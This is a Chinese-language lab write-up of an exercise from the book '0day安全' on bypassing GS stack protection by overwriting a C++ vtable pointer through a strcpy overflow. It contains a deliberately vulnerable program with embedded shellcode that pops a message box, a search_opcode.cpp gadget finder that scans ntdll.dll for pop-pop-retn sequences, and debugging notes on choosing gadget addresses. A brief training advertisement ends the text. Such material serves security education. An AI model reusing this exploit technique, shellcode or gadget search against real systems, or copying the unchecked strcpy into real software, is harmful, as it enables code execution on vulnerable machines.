实验代码如下
《0day安全:软件漏洞分析技术》(第2版) -> P273 -> GS_Virtual.cpp
#include "stdafx.h"
#include "string.h"
class GSVirtual {
public :
void gsv(char * src)
{
char buf[200];
strcpy(buf, src);
bar(); // virtual function call
}
virtual void bar()
{
}
};
int main()
{
GSVirtual test;
test.gsv(
"\xFC\x5E\x97\x7C" //需要在调试中确定的pop pop retn指令地址
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
);
return 0;
}
溢出步骤及里面需要注意的坑:
1、拷贝shellcode至buff时,通过字符串结束符“\0”覆盖虚表指针的最低位,仅修改一个字节。
覆盖前,虚表指针为004021E4
覆盖后,虚表指针为00402100(即为shellcode的存放地址)。
2、完成字符串复制后,需要用跳板指令“pop pop retn”,将EIP跳转到buf所在位置0x0012FE9C执行shellcode。《0day安全:软件漏洞分析技术(第2版)》说明了原因,但对于小白来说,可能还是一头雾水。我也是通过一行行汇编代码调试才弄清楚。下面详细解释其过程
(1) 在0040108D执行虚函数call eax。eax=dword ptr ds:[edx]=dword ptr ds:[00402100]=7C975EFC。
此时,esp指向0012FE88
(2) F7跟进该虚函数后,我们可以看到
EIP指向“pop pop retn”指令的所在地址007C975EFC。此时,堆栈ESP上移了一个位置,指向0012FE84,存放call eax的返回地址,即为 0040108F。
(3) 执行pop pop retn后,EIP=0012FE9C,ESP指向0012FE90。执行return就相当于将ESP所指内容pop至EIP,同时ESP往下移一个位置。
3、“pop edi pop esi retn”指令序列的地址,需要根据实验环境进行调整。此处,我更改成了0x7C975EFC。怎么查找指令序列的地址,作者在前面章节已经说过了,代码search_opcode.cpp如下。
//5F pop edi
//5E pop esi
//C3 retn
#include
#include
#define DLL_NAME "ntdll.dll"
main()
{
BYTE* ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle=LoadLibrary(DLL_NAME);
if(!handle)
{
printf(" load dll error !");
exit(0);
}
ptr = (BYTE*)handle;
for(position = 0; !done_flag; position++)
{
try
{
if(ptr[position] == 0x5F && ptr[position+1] == 0x5E && ptr[position+2] == 0xC3)
{
//0xFFE4 is the opcode of jmp esp
int address = (int)ptr + position;
printf("OPCODE found at 0x%x\n",address);
}
}
catch(...)
{
int address = (int)ptr + position;
printf("END OF 0x%x\n", address);
done_flag = true;
}
}
}
4、至于为什么要在ntdll.dll中查找指令代码的地址,原因在于GS_Virtual.exe内带了ntdll.dll。可以用depends工具查找exe所带的dll。
5、重点的重点,大家注意哈,当时我就载倒在这里。
pop pop retn指令序列的地址不是随便选取的,它有两重含义:做跳板时它被当作一个地址处理;做指令时,其操作不能影响程序流程。
当时执行完search_opcode.cpp后,我从中随便选取了一个地址7C9923C0,悲剧开始了。
执行完后并没有弹出熟悉的failwest框,反而报错了。
为什么呢?用OD调试就明白了
7C9923C0被解析为 shl byte ptr [ebx], 99,而此时ebx=00000000,访问ptr [ebx]相当于访问00000000内存地址,因此发生异常。
解决办法:另外找一个pop pop retn指令序列地址,7C975EFC即可。
7C975EFC被解析成了cld, pop esi, xchg eax,edi指令(见上面列出的图),不影响程序执行。
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法